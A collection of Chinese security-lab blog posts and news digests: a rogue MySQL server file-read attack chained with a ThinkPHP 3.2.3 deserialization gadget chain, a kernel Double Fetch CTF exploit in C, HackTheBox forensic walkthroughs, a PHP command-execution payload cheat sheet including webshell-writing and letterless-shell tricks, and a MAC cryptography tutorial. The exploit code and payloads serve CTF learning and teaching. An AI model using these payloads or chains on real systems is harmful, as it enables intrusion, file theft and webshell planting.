前言 注：本文不涉及对MySQL协议报文研究，仅讲解原理，并且做部分演示。 　搭建MySQL恶意服务器读取文件这件事，虽然直接利用门槛较高，但是由于在网上看到了一种比较新颖的利用方式（利用社会工程学引诱用户连接MySQL进而读取用户文件），个人觉得比较有意思，总结了一下攻击原理以及攻击方式，因此就有了这篇文章。 　原理 　在阐述具体原理之前，先介绍几个SQL语句，以便后文理解 　首先在tmp目录下新建一个tmp.txt 　内容如下： 　然后执行下方SQL语句，即可将tmp.txt文件导入其中 mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n'; Query OK, 3 rows affected (2.63 sec) Records: 3 Deleted: 0 Skipped: 0  Warnings: 0 mysql> select * from Test; +-------+ | name  | +-------+ | admin | | user  | | Lxxx  | +-------+ 3 rows in set (0.00 sec) load data local infile语句会读取客户端本地的文件 load data infile语句会读取服务端本地的文件 terminated by表示以某某字符分割，默认为Tab，这里我设置为了\n 　这个时候可能就会绕不清楚，什么是服务端，什么是客户端？ 　因为一般情况下，调试SQL都是在本机，并且数据库也在本机，这样的情况就导致，客户端和服务端都是在本地，有点难区分，下面我用一张图来简述。 　在本地，由于客户端和服务端都是在同一个磁盘下，因此，在本地，无论是否加local都是可以将文件传入数据库的，而后面讲到利用MySQL恶意服务器读取文件的漏洞，就是需要使用local，来达到将文件带出的目的。 　下面我画了两张图，第一张图是正常业务流程，第二张图是攻击者恶意攻击的流程 　正常的后端业务流程如下： 　当攻击者劫持后端服务器，并且在公网中搭建恶意的MySQL后，流程图如下： 　这样攻击者就可以在后端达到任意文件下载的目的。 　演示 虽说在之前的某个CTF比赛出过类似的题目，但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞，结合MySQL恶意服务器读取敏感文件，进而RCE的样例。 　首先在本地先启动一个ThinkPHP3.2.3的框架，连接好数据库，在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口 <?php namespace Home\Controller; use Think\Controller; class HelloController extends Controller {    public function index($Lxxx){        echo base64_decode($Lxxx);        $a = unserialize(base64_decode($Lxxx));   } } 　具体的链子，我就不跟了，网上也有很多，虽然链子具体的方法不跟进，但是我还是需要介绍一下这条链子能起到一个什么作用。 首先需要一个反序列化入口，这是毋庸置疑的，没有反序列化入口，那就无法进行反序列化，所以上方我就在HelloController控制器中自己写了一个反序列化入口 这条链子最终的链尾是需要数据库的相关信息，例如数据库名，数据库端口，数据库用户以及密码，并且这条链子是允许使用堆叠注入的，因此如果知道数据库相关信息，那么就可以利用堆叠注入写入一句话木马进而getshell 　这里我就直接将链子放出来，然后演示一下如何搭建一个恶意的MySQL数据库，获取敏感文件，进而getshell <?php namespace Think\Db\Driver{    use PDO;    class Mysql{        protected $options = array(            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件       );        protected $config = array(            "debug"    => 1,            "database" => "tp323",            "hostname" => "127.0.0.1",            "hostport" => "8889",            "charset"  => "utf8",            "username" => "root",            "password" => "root"       );   } } namespace Think\Image\Driver{    use Think\Session\Driver\Memcache;    class Imagick{        private $img;        public function __construct(){            $this->img = new Memcache();       }   } } namespace Think\Session\Driver{    use Think\Model;    class Memcache{        protected $handle;        public function __construct(){            $this->handle = new Model();       }   } } namespace Think{    use Think\Db\Driver\Mysql;    class Model{        protected $options   = array();        protected $pk;        protected $data = array();        protected $db = null;        public function __construct(){            $this->db = new Mysql();            $this->options['where'] = '';            $this->pk = 'id';            $this->data[$this->pk] = array(                "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",                "where" => "1=1"           );       }   } } namespace {    echo base64_encode(serialize(new Think\Image\Driver\Imagick())); } 　上方链子中的数据库信息为我本地的数据库信息，执行该文件后，得到序列化字符串如下： TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq 　传给url 　可以看到报错注入成功 　然后，在公网上搭建一个恶意的MySQL服务，这个脚本在Github中已经有前辈写好了，具体原理就是分析相关的MySQL报文，然后与后端服务器创建恶意连接，并且获得自己想要的文件，这里贴出几个连接，有些项目可能在新的MySQL版本中无法使用。 https://github.com/Gifts/Rogue-MySql-Server https://github.com/allyshka/Rogue-MySql-Server https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read 　下载好POC之后，修改一下要读取的文件名 　然后利用Python启动，启动完成后，恶意的MySQL就在监听3307端口 python rogue_mysql_server.py 　接下来修改之前的链子，把IP和端口修改为远程恶意的MySQL地址，然后生成链子 <?php namespace Think\Db\Driver{    use PDO;    class Mysql{        protected $options = array(            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件       );        protected $config = array(            "debug"    => 1,            "database" => "tp323",            "hostname" => "1.1.1.1",            "hostport" => "3307",            "charset"  => "utf8",            "username" => "root",            "password" => "root"       );   } } namespace Think\Image\Driver{    use Think\Session\Driver\Memcache;    class Imagick{        private $img;        public function __construct(){            $this->img = new Memcache();       }   } } namespace Think\Session\Driver{    use Think\Model;    class Memcache{        protected $handle;        public function __construct(){            $this->handle = new Model();       }   } } namespace Think{    use Think\Db\Driver\Mysql;    class Model{        protected $options   = array();        protected $pk;        protected $data = array();        protected $db = null;        public function __construct(){            $this->db = new Mysql();            $this->options['where'] = '';            $this->pk = 'id';            $this->data[$this->pk] = array(                "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",                "where" => "1=1"           );       }   } } namespace {    echo base64_encode(serialize(new Think\Image\Driver\Imagick())); } 　得到： TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq 　传给HomeController控制器 　然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件 　现在得到了相关数据库信息，然后就可以再次构造链子，利用堆叠注入写入一句话木马getshell了 　使用场景 能劫持后端服务器，但无法getshell的时候，可以采用这个方法getshell（例如ThinkPHP3.2.3的利用链只能到数据库层，则可以通过这个方法getshell） 能引诱用户连接恶意MySQL（社会工程学） 　 　参考资料 　　http://blog.nsfocus.net/malicious-mysql-server-reads-mysql-client-files/ 　　https://www.modb.pro/db/51823 　　https://cloud.tencent.com/developer/article/1818089 　　https://github.com/Gifts/Rogue-MySql-Server 　　https://github.com/allyshka/Rogue-MySql-Server 　　https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Google 发布紧急 Chrome 更新以修补被利用的0day漏洞 https://thehackernews.com/2022/03/google-issues-urgent-chrome-update-to.html2、7 名年龄 16 至 21 岁的LAPSUS$ 嫌疑成员在英国被捕 https://thehackernews.com/2022/03/7-suspected-members-of-lapsus-hacker.html3、Sophos Firewall 修复了高危身份验证绕过和远程代码执行漏洞 https://securityaffairs.co/wordpress/129536/security/sophos-firewall-authentication-bypass-flaw.html4、CISA 在已知利用漏洞目录中增加了 66 个新漏洞 https://securityaffairs.co/wordpress/129502/hacking/cisa-known-exploited-vulnerabilities-catalog-66.html5、针对允许黑客解锁和启动思域的漏洞，本田表示没有更新旧车的计划 https://therecord.media/honda-downplays-vulnerability-allowing-hackers-to-lock-unlock-and-start-civics/6、Vidar间谍软件通过隐藏在微软的帮助文件中以逃避检测 https://www.zdnet.com/article/vidar-spyware-is-now-hidden-in-microsoft-help-files/7、Facestealer恶意软件通过谷歌Play商店传播 https://threatpost.com/facestealer-trojan-google-play-facebook/179015/8、超过4万名伦敦选民的个人信息遭到泄露 https://www.infosecurity-magazine.com/news/over-40000-london-voters-data/9、英国国防部招募网站遭到黑客入侵数据泄露 https://www.theregister.com/2022/03/24/ministry_of_defence/10、摩根士丹利公司披露客户账户遭到黑客入侵 https://www.bleepingcomputer.com/news/security/morgan-stanley-client-accounts-breached-in-social-engineering-attacks/

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一、前言 　Double Fetch是一种条件竞争类型的漏洞，其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差，我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user，而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理，而在这时数据会存在被条件竞争修改原有数据的风险，也就是笔者要分享的Double Fetch的由来。 　二、Double Fetch介绍 　如下图所示，用户态首先准备好用户态数据(prepare data)，然后执行syscall进入内核态后，会对用户态数据进行第一次fetch，这一次fetch主要是做一些检测工作（如缓冲区大小、指针是否可用等），在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差，如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据，那么在内核执行第二次fetch时处理的就并非原先通过检测的数据，而是我们精心准备的恶意数据，而此类漏洞往往会引起访问越界，缓冲区溢出最终造成恶意提权的情况。 　三、Double Fetch例题 　1、题目分析 　本次选择的例题是0ctf-final-baby，用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数，当第二个参数为0x6666时会使用printk函数输出flag值在，可以通过dmesg命令查看printk函数的输出结果。 　不难看出flag是硬编码在驱动文件中，可以看到flag的长度为33位。 .data:0000000000000480 flag           dq offset aFlagThisWillBe .data:0000000000000480                                         ; DATA XREF: sub_25+25↑r .data:0000000000000480                                         ; sub_25+D6↑r ... .data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}" 　当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较，如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数，前两个参数不难理解，但是第三个参数在这里比较难理解。 bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow) { bool my_cf; // cf unsigned __int64 sum; // rdi my_cf = __CFADD__(len, contect); sum = len + contect; return my_cf || unknow < sum; } 　我们通过动态调试的方式定位在_chk_range_not_ok函数处，发现current_task+0x1358的结果就是0x7ffffffffffff000，也就是说这三次check的意思分别是： 1、判断结构体的指针是否在用户态 2、判断结构体中flag地址指针是否在用户态 3、判断结构体中flag长度是否与内核flag长度相同 　通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同，全部正确就会通过printk输出内核中的flag值。 for ( i = 0; i < strlen(flag); ++i ) { if ( contect->addr[i] != flag[i] )   return 0x16LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); return 0LL; 　2、漏洞利用 　通过分析题目其实没有十分明显的漏洞点，但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data)，那么在这个数据在真正被处理之前是存在一定的时间差的，并且因为数据是保存在用户态中，所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址，那么在实际处理数据时取出的就是内核地址，最终判断的时候就是内核地址与内核地址的比较，最终输出flag值并用dmesg命令查看输出结果。 　3、EXP #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> int finish = 1; struct message {   char *addr;   int len; }data; size_t flag_address = 0; void read_flag_address() {   system("dmesg | grep flag > message.txt");   int fd = open("message.txt", O_RDWR);   char buf[0x60] = {0};   read(fd, buf, sizeof(buf));   size_t idx = strstr(buf, "at ") + 3;   sscanf(idx, "%llx", &flag_address);   printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);   close(fd); } void evil_thread() {   while (finish == 1) {       data.addr = flag_address;   } } void main() {   pthread_t pthread;   int fd = open("/dev/baby", O_RDWR);   char buf[0x100] = {0};   ioctl(fd, 0x6666);   read_flag_address();   pthread_create(&pthread, NULL, evil_thread, NULL);   data.addr = buf;   data.len = 33;   for (int i = 0; i < 0x1000; i++) {       ioctl(fd, 0x1337, &data);       data.addr = buf;   }   finish = 0;   pthread_join(pthread, NULL);   system("dmesg | grep flag");   close(fd); } 　使用如下命令编译elf文件，重新打包文件系统后执行start.sh，最终效果如下。 gcc -pthread -g -static -masm=intel -o exp exp.c 　四、总结 　Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序，从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法，可以通过在用户态使用mmap的方式开辟两块内存地址，第一块设置读写权限，第二块设置不可读写权限，我们将需要比较的字节放在第一块内存的最后一个字节中，当我们的判断正确时就会继续往下取值，这时就会从第二块即不可读写的内存中取值，就会造成kernel panic，这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、微软和 Okta 已确认遭受Lapsus$攻击后数据泄露 https://www.securityweek.com/microsoft-okta-confirm-data-breaches-involving-compromised-accounts 2、全球超过 200,000 台 MicroTik 路由器受僵尸网络控制 https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html 3、俄罗斯肉类生产商遭Windows BitLocker加密攻击 https://www.bleepingcomputer.com/news/security/top-russian-meat-producer-hit-with-windows-bitlocker-encryption-attack/ 4、CryptoRom "加密货币骗局滥用 iPhone 功能瞄准移动用户 https://thehackernews.com/2022/03/cryptorom-crypto-scam-abusing-iphone.html 5、超过 4 万名伦敦选民的个人数据被泄露给陌生人 https://www.infosecurity-magazine.com/news/over-40000-london-voters-data/ 6、社会工程攻击成为Web3，metaverse主要攻击方式 https://www.zdnet.com/article/social-engineering-attacks-to-dominate-web3-metaverse-services/ 7、背景调查公司Creative Services, Inc. (CSI) 因数据泄露被起诉 https://www.infosecurity-magazine.com/news/background-check-company-sued-over/ 8、攻击者利用 XLL 文件传递新的 JSSLoader 木马 https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files 9、窃取 Facebook 凭证的恶意 Android 应用感染10W用户 https://www.anquanke.com/post/id/270583 10、恶意软件活动滥用Chocolatey Windows软件包管理器 https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/

前言 　HTB是大三时期一直想氪的一个平台，比较适合做一个方向上的深入学习。可惜大学生太穷了，只能工作后找个小伙伴AA，勉强付起这个昂贵的VIP。蓝队系列是我第一个开始学习（复习）的模块，需要好好记录下～也给想练HTB，但英语不好的同学一点帮助。 　Chase-easy 　简介：One of our web servers triggered an AV alert, but none of the sysadmins say they were logged onto it. We've taken a network capture before shutting the server down to take a clone of the disk. Can you take a look at the PCAP and see if anything is up? 　大概翻译就是：我们的一台web服务器触发了AV警告，但没有一个管理员表示他们曾经登陆过。在关闭服务器以克隆磁盘之前，我们已经进行了网络捕获。让我看看PCAP的数据包，究竟被黑客打到了什么程度。 　题目是给到的一个数据包，不得不吐槽的就是找了半天密码，原来就写我脸上了。。   　压缩包解压之后是一个PCAP的文件，拿到包前先statistics-》Capture File Properties看下数据包大小、截取时间、操作系统等等基本信息，如果单纯是CTF的话帮助或许不大，但是在蓝军视角，获取更多的数据会更有助于我们定位问题。  　数据包基本上是22.22.22.7与22.22.22.5通信，且量不大，很容易看到5号机器通过一个HTTP GET请求获取7号机器上的nc64.exe。  　作为一个完整的攻击事件来说，这个显然不是入口。作为一般的应急响应事件来说，捕获到攻击情报的时候，很有可能已经达到内网，所以很有可能七号机器在此之前已经沦陷了，我们只能通过反推的方式去一层层的寻找最初的脆弱点（此题7号机不需要我们做溯源）。尝试筛选一下HTTP的请求，使用follow对HTTP流进行追踪。  　很清晰的还原出7号机器通过5号机器的一个上传点，实现了文件上传漏洞，上传后的文件为/cmd.aspx，并且通过远程命令执行的方式，从7号机器获取nc64.exe，进而执行持久化控制。    　从上面对5号机器进行的命令执行中，可以看到到反弹shell的端口在七号机的4444端口，所以我们可以通过tcp.port == 4444的方式，查看七号机器远程执行了什么命令。   　前面“象征性”执行了whoami、ipconfig，到这步又从7号机拉取了一个名字很长的文件，感觉很可疑，就看一下吧，这里用过滤字符串的功能进行查看，提示“Hey there”，应该是Flag无误了。    　Event Horizon 　简介：Our CEO's computer was compromised in a phishing attack. The attackers took care to clear the PowerShell logs, so we don't know what they executed. Can you help us? 　大致翻译：我们CEO的电脑在一次网络钓鱼中被攻击。攻击者小心地清理PowerShell日志，所以我们不知道他们执行了什么。大佬帮帮我们。 　考点在于日志分析，题目给到的日志文件就高达323个  　这里用的日志分析工具是Event Log Explorer,图形界面看起来非常的清晰。日志分析中排查优先级最高的，不出意外应该是powershell，但Windows Powershell的日志已经被攻击者删掉了。排序了下文件大小，发现还有个"Microsoft-Windows-PowerShell%4Operational"，该日志会记录攻击者执行的Powershell命令都记录下来，把该日志放到工具里进行查看，在执行的第一个脚本注释处找到flag。  　关于PowerShell5.0新功能的更多描述可以看这里：https://docs.microsoft.com/zh-tw/powershell/scripting/windows-powershell/whats-new/what-s-new-in-windows-powershell-50?view=powershell-7.2 　Export 　简介：We spotted a suspicious connection to one of our servers, and immediately took a memory dump. Can you figure out what the attackers were up to? 　大概翻译：我们发现一个可疑的连接在我们的服务器上，并且很快进行内存存储，你能发现攻击者在干嘛吗？ 　题目是给的一个Raw文件，众所周知常见的内存文件格式有dmp、raw、img等等，既然跟内存文件有关就离不开做内存取证。这里推荐一个开源的内存取证框架 https://github.com/volatilityfoundation/volatility，以及对新手非常友好的autovolatility：https://github.com/carlospolop/autoVolatility 前者可以对数十个接口进行内存取证，后者可以批量将所有的接口进行取证并输出文件到本地。   　跑完上述命令，可以获取到进程列表、事件日志、设备树、剪贴板内容、命令行等等信息  　题目提到可疑链接，第一反应就是去看cmdline和cmdscan，前者显示进程的命令行参数，后者显示命令行的历史记录。在cmdscan文件里找到攻击者曾经执行过的一段Powershell无文件落地攻击   　链接过一下URL的解码，ps1文件的名称感觉有点像flag了，再过一下Base64解密拿到flag。  　Insider 　简介：A potential insider threat has been reported, and we need to find out what they accessed. Can you help? 　大概翻译：一个潜在的威胁被爆出，我们需要知道他们访问了什么，你能帮忙吗？ 　给到的是客户端上火狐浏览器的一些文件，尝试查一下如何读取火狐浏览器配置文件，寄了。。全网无资料。国外的师傅提到了一款工具 firefox_decrypt ，地址：https://github.com/unode/firefox_decrypt 。可以从Mozilla配置文件中提取密码，这种方法倒是很适合红队的同学在拿到靶标后使用，后面就是抄作业的过程：  　好了作业抄完，再回顾下firefox_decrypt工具大概的实现原理，我们的用户记住密码后，数据一般都是放在本地，如果没有主密码的保护，这些密码应该是可以暴露出来的，所以firefox_decrypt就是对没有正确配置的本地密码进行读取（没理解错的话）。  　Intel 　简介：It seems a huge trove of credit card details is being sold by a group going by the name flinchsec. Can you find any sites or artefacts associated with this group that we can use to detect them? 　大概翻译：看起来有一个叫 flinchsec的团伙正在售卖大量的信用卡详细信息，你能找到任何与这个团队关联的网站或文件，以至于我们可以使用来检测他们吗？ 　一道社工类型的题目。给的信息不多，我们只知道团队名叫flinchsec，谷歌搜索一下，在领英找到了这个团队  　但是点击公司网站，返回了500，说明网站已经下掉了。但是如果我还想看到的话怎么办呢，想到了类似于网页快照之类的应用，百度查了一下有相关的实现：Wayback machine。并且在页面上看到有一个github的链接    　到Releases下载文件后，strings命令看下程序里有没有flag的明文字符，结果失败了。后面看了大佬发的WP，竟然要用VT去查，脑洞太大了。。。    　实验推荐 　实验：内存镜像取证　https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4>>

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前言 代码审计总要遇到命令执行或者说RCE，打CTF的过程中难免不会碰见，毕竟PHP是世界上最好的语言，总结一下 命令执行函数 E.g.1 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; $b = "$_GET[d]"; $array[0] =$b; $c = array_map($a,$array); ?> 传入参数c和d，array_map函数作用将$a作为函数，$array作为参数，构造paylaod ?c=assert&d=system(%27ls%27); E.g.2 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; $b = create_function('',$a); $b(); ?> create_function 函数会创建一个匿名函数（lambda样式），在第一个echo中显示出名字，并在第二个echo语句中执行了此函数。 $b = create_function('',$a); 这里$a为函数，' '为参数 那么可以看作为 function lambda(){ • echo ' ' ; } 传入payload b= ;}phpinfo();/* 在function函数中即 function lambda(){ echo ' ' ;}phpinfo();/* } 后面的内容注释掉了，即执行命令 E.g.3 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[d]"; $b='print'.$a.';'; $f = create_function('$a',$b); $f($a) 跟上面一样，虽然有一点变形，但是再$b的打印上没有特殊之处，所以payload: d=1;}system(%27ls%27);/* 一致。 E.g.4 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; assert($a); ?> 没什么特别之处，assert直接作为函数执行，payload: ?b=system(%27ls;%27) E.g.5 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; $b = "$_GET[c]"; call_user_func($a,$b); ?> call_user_func()函数的特点，知道后面的后面的$b为参数，前面的$a为函数即可 payload: ?b=system&c=whoami E.g.6 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; $b = array($_GET['c']); call_user_func_array($a,$b); ?> payload: ?b=assert&c=system(%27whoami%27); E.g.7 <?php error_reporting(0); show_source(__FILE__); $_GET['a']($_GET['b']); ?> 传入参数a和b，一个作为函数执行，一个做位参数，构造payload: ?a=assert&b=system(%27ls%27) E.g.8 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; eval($a); ?> 一句话木马有没有很熟悉，直接get方式传参给b即可，payload: ?b=system("ls"); E.g.9 <?php show_source(__FILE__); echo "<br>"; echo '请输入一个a的值'; echo "<br>"; error_reporting(0); $price = $_GET['a']; $code = 'echo $name. '.'的美元价格是' .$price.'; '; $b = create_function('$name',$code); $b('iphone'); ?> 基本上属于3的内容加强版，重点就是需要进行闭合，，代码变多了，payload没有出入，重点还是再$code的位置 payload: ?a=1;}system(%27ls%27);/* E.g.10 <?php show_source(__FILE__); error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $database = array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);'; usort($database,create_function('$a,$b',$sort_function)); ?> 属于加强版本，$sort_function的内容进行闭合，也就是sort_by的参数值要实现闭合，构造payload: ?sort_by=%27"]);}system(%27whoami%27);/* E.g.11 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; $b = preg_replace("/abc/e",$a,'abcd'); var_dump($b); ?> 虽然加了正则，但是并没有什么卵用，假把式，payload: ?c=system(%27ls%27); E.g.12 <?php show_source(__FILE__); $commandExecution = "echo "; echo "<br>"; system($commandExecution.$_GET['a']); echo "<br>"; ?> payload ?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php 一句话木马写入2.php 也有其它解法直接进行命令执行。 E.g.13 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; echo "<br>"; exec($a,$b); var_dump($b); ? exec()函数直接执行命令，那么payload ?c=whoami E.g.14 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; echo shell_exec($a); ? 函数的特性shell_exec ?c=ls>2.txt 然后执行 ?c=cat 2.txt 此时 E.g.15 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; echo "<br>"; echo `$a`; ?> 看到echo以及传入的字符串，方法类似于上面的一道 ?c=cat%20flag.php>3.txt 直接访问3.txt即可，或者 ?c=cat%203.txt E.g.16 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; passthru($a); ?> payload： ?c=cat%20flag.php E.g.17 <?php error_reporting(0); show_source(__FILE__); $cmd=$_GET['c']; $fd = popen($cmd, 'r'); while($s=fgets($fd)){ print_r($s); } ?> payload ?c=cat%20flag.php E.g.18 <?php error_reporting(0); show_source(__FILE__); $command=$_GET['c']; $descriptorspec=array(   0=>array('pipe','r'),   1=>array('pipe','w'),   2=>array('pipe','w') ); $handle=proc_open($command,$descriptorspec,$pipes,NULL); if(!is_resource($handle)){   die('proc_open failed'); } while($s=fgets($pipes[1])){   print_r($s); } while($s=fgets($pipes[2])){   print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?> payload ?c=cat%20flag.php E.g.19 无字母shell <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ //检测字符长度   die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字   die("NO."); } @eval($code); //$code的值要为非字母和数字 }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> 绕过正则，传入的参数中不能含有大小写字母以及数字，使用异或的当时绕过正则即可 <?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?> no.flag中提示了flag在getflag()方法中，那么自然需要构造payload去调用getflag()方法，需要参数长度小于40且绕过正则，那么可以设想一下 function getflag(){ xxxxxxxxxxxxxxxx } @eval($code); 函数的调用就是类似于上面的过程，那么eval在执行的过程中$code并不能直接执行，参考上面的题7那么我传入的code的参数的形式为$_GET[]且需要调用getFlag()方法，因为考虑到需要无字母，所以结合异或，那么payload就是下面的内容： ?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag 或者 ?code=$="`{{{"^"?<>/";${$}$%7B$_%7D%5B__%5D;&_=getFlag 这里 //_GET 的变形无字母shell $_="`{{{"^"?<>/"; 小结 大佬请绕路，如有错误欢迎师傅们指出。 实验推荐 实验：PHP命令注入攻击　https://www.yijinglab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1>>

前言 　本文是本系列的第三篇，由于侧重点是对密码学中的安全性问题进行分析，所以不会对密码学基础的核心概念进行阐述，如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材，如《密码学原理与实践》《深入浅出密码学》，如果只是感兴趣而并非要深入了解，只阅读《图解密码技术》也就够了。 　MAC 　MAC是指消息认证码（带密钥的Hash函数），是密码学中通信实体双方使用的一种验证机制，保证消息数据完整性的一种工具。构造方法由M.Bellare提出，安全性依赖于Hash函数，故也称带密钥的Hash函数。消息认证码是基于密钥和消息摘要所获得的一个值，可用于数据源发送方认证和完整性校验。MAC一般不会从头设计，而是从已有的哈希函数改造而来，比如加前缀、后缀或其他方法。 　加前缀 　加前缀时，返回的是Hash(K||M)，从而将普通的哈希函数转为带密钥的哈希函数，其容易受到长度扩展攻击、碰撞攻击。 　长度扩展攻击 　长度扩展攻击我们之前已经提过，在这种攻击场景下，攻击者可以在不知道M1和K的基础上，仅通过Hash(K||M1)就可以计算出Hash(K||M1||M2),相当于攻击者可以伪造有效的MAC标签。 　碰撞攻击 　此处的碰撞攻击是由于密钥长度不同导致的。如果密钥K1是24比特的16进制字符串abcdef，消息M1是12，则返回的是Hash(abcded12)，如果密钥K2是abcd，消息M2是ef12，则返回的也是Hash(abcded12)，这就发生了碰撞 　加后缀 　加后缀的方法返回的是Hash(M||K),此时可以抵御长度扩展攻击，但是还是会存在碰撞的问题。 　设有两个消息M1,M2,存在碰撞Hash(M1)=Hash(M2),比如在SHA-256中，此时就会存在Hash(M1||K)=Hash(M2||K) 　换言之，攻击者通过如下流程即可发动攻击： 　1.找到两个碰撞的消息M1,M2 　2.请求受害者计算M1哈希的MAC标签Hash(M1||K) 　3.猜测相同的Hash(M2||K),从而伪造一个有效的标签并破坏MAC的安全性 　HMAC 　HMAC，即散列消息认证码（Hash-based message authentication code），是一种通过特别计算方式之后产生的消息认证码（MAC），使用密码散列函数，同时结合一个加密密钥。它可以用来保证资料的完整性，同时可以用来作某个消息的身份验证。 　HMAC从哈希函数构造MAC,这比前面两种方案都安全，IPSec,SSH,TLS等都使用了HMAC 　CMAC 　CMAC，Cipher-based Message Authentication Code，它是一种基于分组密码的消息认证码算法是基于密码的MAC，只提供一个分组密码如AES，就可以构造MAC。 　CBC-MAC是最早的CMAC，其用CBC模式对全0初始值IV下的消息M进行加密,并只保留最后一组密文作为消息M的标签.基本的计算过程就是分别计算C1=E(K,M1),C2=E(K,M2⊗C1),C3=E(K,M3⊗C2)...对M的每个分组只保留最后的Ci，这就是经过CBC-MAC的M的标签。 　其容易被攻击者构造出新的消息-标签对。攻击流程如下 　设存在两个不同的消息M1,M2，对应的标签分别为T1=E(K,M1),T2=E(K,M2),攻击者由此可以构造出新的消息-标签对，即消息M1||(M2⊗T1)的标签为T2，推导过程如下： 　要对M1||(M2⊗T1)生成标签，则先要计算C1=E(K,M1)=T1,然后计算C2=E(K,(M2⊗T1)⊗T1))=E(K,M2)=T2 　